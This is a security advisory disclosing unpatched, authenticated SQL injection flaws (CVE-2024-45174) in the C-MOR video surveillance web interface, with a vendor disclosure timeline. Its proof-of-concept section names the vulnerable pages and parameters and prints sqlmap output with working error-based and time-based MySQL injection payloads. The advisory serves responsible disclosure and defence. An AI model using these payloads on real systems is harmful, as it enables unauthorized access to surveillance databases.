Advisory ID:               SYSS-2024-023
Product:                   C-MOR Video Surveillance
Manufacturer:              za-internet GmbH
Affected Version(s):       5.2401, 6.00PL01
Tested Version(s):         5.2401, 6.00PL01
Vulnerability Type:        SQL Injection (CWE-89)
Risk Level:                High
Solution Status:           Open
Manufacturer Notification: 2024-04-05
Solution Date:             -
Public Disclosure:         2024-09-04
CVE Reference:             CVE-2024-45174
Authors of Advisory:       Chris Beiter, Frederik Beimgraben,
                            and Matthias Deeg
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
The software product C-MOR is an IP video surveillance system.
The manufacturer describes the product as follows:
"With C-MOR video surveillance, it is possible to check your
surveillance over network and the Internet. You can access the live
view as well as previous recordings from any PC or mobile device.
C-MOR is managed and controlled over the C-MOR web interface.
IP settings, camera recording setup, user rights and so on are set
over the web without the installation of any software on the
client."[1]
Due to improper validation of user-supplied data, different
functionalities of the C-MOR web interface are vulnerable to SQL
injection attacks.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
By analyzing the C-MOR web interface, it was found that different
provided functionalities of the C-MOR web interface are vulnerable
to SQL injection attacks.
These kinds of attacks allow an authenticated user to execute arbitrary
SQL commands in the context of the corresponding MySQL database.
In the following pages, SQL injection vulnerabilities were found:
* list-timelapse.plm (URL parameter: "cam")
* list-motion.plm (URL parameter "cam")
* show-movies.plm (URL parameter "cam")
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
Using the software tool sqlmap[4], the SQL injection vulnerabilities
via the URL parameter "cam" could be easily exploited, as the following
output exemplarily illustrates:
(...)
sqlmap resumed the following injection point(s) from stored session:
- ---
Parameter: cam (GET)
     Type: error-based
     Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or 
GROUP BY clause (FLOOR)
     Payload: days=1100&cam=cam1 AND (SELECT 2483 FROM(SELECT 
COUNT(*),CONCAT(0x717a707071,(SELECT 
(ELT(2483=2483,1))),0x717a707871,FLOOR(RAND(0)*2))x FROM 
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
     Type: time-based blind
     Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
     Payload: days=1100&cam=cam1 AND (SELECT 9790 FROM 
(SELECT(SLEEP(5)))Yfcf)
- ---
[17:16:12] [INFO] the back-end DBMS is MySQL
[17:16:12] [INFO] fetching banner
[17:16:12] [INFO] resumed: '5.1.66-0+squeeze1'
web application technology: Apache
back-end DBMS: MySQL >= 5.0
banner: '5.1.66-0+squeeze1'
(...)
By exploiting the SQL injection vulnerabilities, the MySQL database
could be accessed and dumped as database user "cam".
In version 6.00PL01, some SQL injection attack instances were fixed.
However, others could still be found, for example via the URL
parameter "c" on the page getpic.pml.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution:
The described security vulnerability has not been fixed entirely in
the newly released software version 6.00PL01.
There is no fix for this security issue.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclosure Timeline:
2024-04-05: Vulnerability reported to manufacturer
2024-04-05: Manufacturer acknowledges receipt of security advisories
2024-04-08: Exchange regarding security updates and disclosure timeline
2024-05-08: Further exchange concerning security updates and disclosure
             timeline; public release of all security advisories
             scheduled for release of C-MOR Video Surveillance version 6
2024-05-10: Release of C-MOR software version 5.30 with security updates
             for some reported security issues
2024-07-19: E-mail to manufacturer concerning release date of C-MOR
             Video Surveillance version 6; response with planned
             release date of 2024-08-01
2024-07-30: E-mail from manufacturer with further information
             concerning security fixes
2024-07-31: Release of C-MOR software version 6.00PL1
2024-09-04: Public release of security advisory
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
References:
[1] Product website for C-MOR Video Surveillance
     https://www.c-mor.com/
[2] SySS Security Advisory SYSS-2024-023
 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2024-023.txt
[3] SySS Responsible Disclosure Policy
     https://www.syss.de/en/responsible-disclosure-policy/
[4] sqlmap GitHub repository
     https://github.com/sqlmapproject/sqlmap
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Credits:
This security vulnerability was found by Chris Beiter, Frederik
Beimgraben, and Matthias Deeg.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclaimer:
The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS Web
site.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Copyright:
Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en